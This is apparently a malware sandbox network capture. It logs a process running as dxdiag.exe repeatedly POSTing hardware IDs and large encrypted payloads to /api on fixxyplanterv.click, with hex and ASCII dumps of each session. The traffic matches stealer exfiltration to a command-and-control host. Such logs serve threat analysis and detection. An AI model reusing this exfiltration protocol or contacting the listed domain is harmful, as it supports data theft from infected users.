2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 4a 42 6c 39 56 6c 4f 30 52 51 74 59 4a 53 74 69 52 59 77 4b 50 71 32 44 4d 4a 68 6d 46 6a 7a 45 43 37 43 65 4a 2b 78 47 6e 42 68 6e 56 44 31 50 55 36 4a 46 53 68 74 76 61 79 6f 47 6e 68 67 35 79 2b 31 45 77 44 52 44 61 4a 70 4f 76 70 49 52 72 31 76 51 54 44 49 4d 51 32 4d 47 2b 51 73 44 48 32 74 6f 62 45 76 49 46 44 36 74 36 69 4c 53 4f 55 49 6e 33 42 57 2b 77 7a 43 6e 52 74 73 41 43 6c 51 39 52 56 4f 69 52 54 67 62 63 33 63 72 45 35 6c 57 57 50 62 55 5a 4d 41 39 55 6e 72 55 46 2b 2f 57 66 76 51 43 6b 67 41 78 43 7a 30 46 51 36 68 65 57 45 73 71 4b 58 34 61 78 67 49 2b 34 35 4d 36 6b 48 30 46 65 64 51 42 37 35 63 77 6f 56 48 66 54 6a 59 49 62 31 73 51 37 41 5a 4b 4a 6b 4e 63 49 51 69 4e 46 58 6e 4c 37 55 50 4a 49 30 68 6b 6b 32 65 52 35 79 2b 72 51 4a 35 Data Ascii: JBl9VlO0RQtYJStiRYwKPq2DMJhmFjzEC7CeJ+xGnBhnVD1PU6JFShtvayoGnhg5y+1EwDRDaJpOvpIRr1vQTDIMQ2MG+QsDH2tobEvIFD6t6iLSOUIn3BW+wzCnRtsAClQ9RVOiRTgbc3crE5lWWPbUZMA9UnrUF+/WfvQCkgAxCz0FQ6heWEsqKX4axgI+45M6kH0FedQB75cwoVHfTjYIb1sQ7AZKJkNcIQiNFXnL7UPJI0hkk2eR5y+rQJ5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:14 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y38NJ7IE4YK35 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18131 Host: fixxyplanterv.click
2024-12-23 06:33:14 UTC	15331	OUT	Data Raw: 2d 2d 59 33 38 4e 4a 37 49 45 34 59 4b 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 46 43 32 41 30 33 44 35 33 39 34 31 38 36 35 45 43 36 34 36 38 43 35 43 39 36 33 32 34 39 0d 0a 2d 2d 59 33 38 4e 4a 37 49 45 34 59 4b 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 33 38 4e 4a 37 49 45 34 59 4b 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 5a 71 63 68 4f 61 2d 2d 6e 65 77 0d 0a 2d 2d 59 33 38 4e 4a 37 49 45 34 59 4b 33 35 Data Ascii: --Y38NJ7IE4YK35Content-Disposition: form-data; name="hwid"1FFC2A03D53941865EC6468C5C963249--Y38NJ7IE4YK35Content-Disposition: form-data; name="pid"2--Y38NJ7IE4YK35Content-Disposition: form-data; name="lid"ZqchOa--new--Y38NJ7IE4YK35
2024-12-23 06:33:14 UTC	2800	OUT	Data Raw: 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 Data Ascii: ^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTw
2024-12-23 06:33:15 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aupbnrvi824mu1hojes5dtpukn; expires=Fri, 18 Apr 2025 00:19:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qhzr0cnwHvMuXvTl55Q2zfD10Yj02DhTSIwdSeR1E%2BnYNPvPA4hbs%2ByfCBVxDMReBCgqeMbd96CtalqPJbwDAYc4dJgU1PKMAJEtcSwPDnkjiaLR9lHkD5%2FRfpkaqFykgSx11zep"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6651ac0bcd8c7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1794&rtt_var=678&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2848&recv_bytes=19091&delivery_rate=1607044&cwnd=239&unsent_bytes=0&cid=fd71a05ee7a86713&ts=930&x=0"
2024-12-23 06:33:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:33:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:17 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q63TZWKYGSH72JFC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8770 Host: fixxyplanterv.click
2024-12-23 06:33:17 UTC	8770	OUT	Data Raw: 2d 2d 51 36 33 54 5a 57 4b 59 47 53 48 37 32 4a 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 46 43 32 41 30 33 44 35 33 39 34 31 38 36 35 45 43 36 34 36 38 43 35 43 39 36 33 32 34 39 0d 0a 2d 2d 51 36 33 54 5a 57 4b 59 47 53 48 37 32 4a 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 36 33 54 5a 57 4b 59 47 53 48 37 32 4a 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 5a 71 63 68 4f 61 2d 2d 6e 65 77 0d 0a 2d 2d 51 36 33 54 Data Ascii: --Q63TZWKYGSH72JFCContent-Disposition: form-data; name="hwid"1FFC2A03D53941865EC6468C5C963249--Q63TZWKYGSH72JFCContent-Disposition: form-data; name="pid"2--Q63TZWKYGSH72JFCContent-Disposition: form-data; name="lid"ZqchOa--new--Q63T
2024-12-23 06:33:17 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q0thnljdlg0hmj0h3ppfci08h9; expires=Fri, 18 Apr 2025 00:19:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jDQwgja6RdzaUFMaiWqNyP29uwVW0g7jztU1Kq2a4jiT59QHxEz2wtxvWpfDLcNkratMGAkbZ1S%2FDpy8xMHSqQ4SP2eHWWKd%2BfZXud3doVecqY3YcTTIvyCUduHgpaAIYTts1U4%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6651ba4d0a5e7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1738&rtt_var=656&sent=9&recv=15&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9710&delivery_rate=1663817&cwnd=233&unsent_bytes=0&cid=2f97fd201b357c78&ts=817&x=0"
2024-12-23 06:33:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:33:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:19 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VJZYLKUO7AY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20393 Host: fixxyplanterv.click
2024-12-23 06:33:19 UTC	15331	OUT	Data Raw: 2d 2d 56 4a 5a 59 4c 4b 55 4f 37 41 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 46 43 32 41 30 33 44 35 33 39 34 31 38 36 35 45 43 36 34 36 38 43 35 43 39 36 33 32 34 39 0d 0a 2d 2d 56 4a 5a 59 4c 4b 55 4f 37 41 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 4a 5a 59 4c 4b 55 4f 37 41 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 5a 71 63 68 4f 61 2d 2d 6e 65 77 0d 0a 2d 2d 56 4a 5a 59 4c 4b 55 4f 37 41 59 0d 0a 43 6f 6e 74 65 6e Data Ascii: --VJZYLKUO7AYContent-Disposition: form-data; name="hwid"1FFC2A03D53941865EC6468C5C963249--VJZYLKUO7AYContent-Disposition: form-data; name="pid"3--VJZYLKUO7AYContent-Disposition: form-data; name="lid"ZqchOa--new--VJZYLKUO7AYConten
2024-12-23 06:33:19 UTC	5062	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 Data Ascii: lrQMn 64F6(X&7~`aO@d
2024-12-23 06:33:20 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5o64mc8slrfb551qj87btsvke6; expires=Fri, 18 Apr 2025 00:19:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5E3d9vIi5M90JYB14swZDpzjrAdGydiUvmuXBwFPonpgXnPdfau2LbyYUCijHB3Qy5vTeorTEVZPJfwSKZNeRyGdEEftYTWo8Bq5yPYIBi06NgHn3L5ESkDIcKywEFUptmdpb1PV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6651c8acf14379-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1732&rtt_var=651&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21351&delivery_rate=1678160&cwnd=194&unsent_bytes=0&cid=c1556e26a3328602&ts=964&x=0"
2024-12-23 06:33:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:33:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BIN529ER05XXU0BGO9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: fixxyplanterv.click
2024-12-23 06:33:22 UTC	1243	OUT	Data Raw: 2d 2d 42 49 4e 35 32 39 45 52 30 35 58 58 55 30 42 47 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 46 43 32 41 30 33 44 35 33 39 34 31 38 36 35 45 43 36 34 36 38 43 35 43 39 36 33 32 34 39 0d 0a 2d 2d 42 49 4e 35 32 39 45 52 30 35 58 58 55 30 42 47 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 49 4e 35 32 39 45 52 30 35 58 58 55 30 42 47 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 5a 71 63 68 4f 61 2d 2d 6e 65 77 0d 0a Data Ascii: --BIN529ER05XXU0BGO9Content-Disposition: form-data; name="hwid"1FFC2A03D53941865EC6468C5C963249--BIN529ER05XXU0BGO9Content-Disposition: form-data; name="pid"1--BIN529ER05XXU0BGO9Content-Disposition: form-data; name="lid"ZqchOa--new
2024-12-23 06:33:22 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvmulvioepu2i2hq27nt92uibm; expires=Fri, 18 Apr 2025 00:20:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kqOJ8YdHUV2lIGYcetNzj02rNESuOOYW0diNUrn5w%2FcoTBOBPHUZTY80D%2F1plLtOsReO61HCXvTbE3L1kRuIRbRzG0um336WdHOR9iC5ULqt%2FuS2j0rE%2BLiKwMlTXvNxO89TR%2FCq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6651d9dc8c0cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1476&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2163&delivery_rate=1928665&cwnd=232&unsent_bytes=0&cid=c33e847cbd1ba6b2&ts=772&x=0"
2024-12-23 06:33:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:33:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:24 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K2B6IOGTJDC819 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549628 Host: fixxyplanterv.click
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 2d 2d 4b 32 42 36 49 4f 47 54 4a 44 43 38 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 46 43 32 41 30 33 44 35 33 39 34 31 38 36 35 45 43 36 34 36 38 43 35 43 39 36 33 32 34 39 0d 0a 2d 2d 4b 32 42 36 49 4f 47 54 4a 44 43 38 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 32 42 36 49 4f 47 54 4a 44 43 38 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 5a 71 63 68 4f 61 2d 2d 6e 65 77 0d 0a 2d 2d 4b 32 42 36 49 4f 47 54 4a 44 Data Ascii: --K2B6IOGTJDC819Content-Disposition: form-data; name="hwid"1FFC2A03D53941865EC6468C5C963249--K2B6IOGTJDC819Content-Disposition: form-data; name="pid"1--K2B6IOGTJDC819Content-Disposition: form-data; name="lid"ZqchOa--new--K2B6IOGTJD
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 41 03 3f 1d b0 74 f0 7d 9f 1e d8 6e 2c bf fb e6 d4 e8 e0 c5 dd fd de 37 4e f6 4a f7 4e 8e 29 da bf 75 28 a9 ca 7e 63 53 51 f0 df c5 b4 d9 c3 ff 00 Data Ascii: 6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8eA?t}n,7NJN)u(~cSQ
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b e4 e9 8e 02 95 74 96 f2 04 2f 5d 24 43 e2 05 3b 58 34 5d 8c 39 be 39 cb ed 7e cf d1 6f 35 c1 7b e8 ff da 61 da da 49 7f 50 02 f1 2f ca 2e 5e 9f b7 Data Ascii: .-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jKt/]$C;X4]99~o5{aIP/.^
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 41 81 c4 8f 9c 10 9b 08 9b c4 50 c3 26 ab d2 20 da f8 6c e3 82 ab 01 eb 2e dd f5 c6 4d e3 de 19 c3 b5 3e 62 4c e4 60 8e 00 fd 8c 0c 8c 26 f8 9c 75 Data Ascii: ]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5*+!y%~t?1RAP& l.M>bL`&u
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa b1 d2 a4 75 73 35 b3 75 8b 3b ac 49 07 23 04 5e 0f a8 8d 67 bd e1 02 7f be 8e 3d 89 ac 31 d2 cd 4a e0 15 02 b7 27 a0 c5 73 a6 99 09 a2 b1 cf 17 ce Data Ascii: .iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3us5u;I#^g=1J's
2024-12-23 06:33:24 UTC	15331	OUT	Data Raw: 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 de 07 1a 54 76 f6 3b cc b6 40 18 70 48 8a 21 df 00 53 c3 2e 71 81 07 e2 0c 3d 44 da dd bd be ef fd d6 ec dd 26 26 55 88 bd f1 6b ab 92 96 e5 17 6f Data Ascii: }{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R wTv;@pH!S.q=D&&Uko
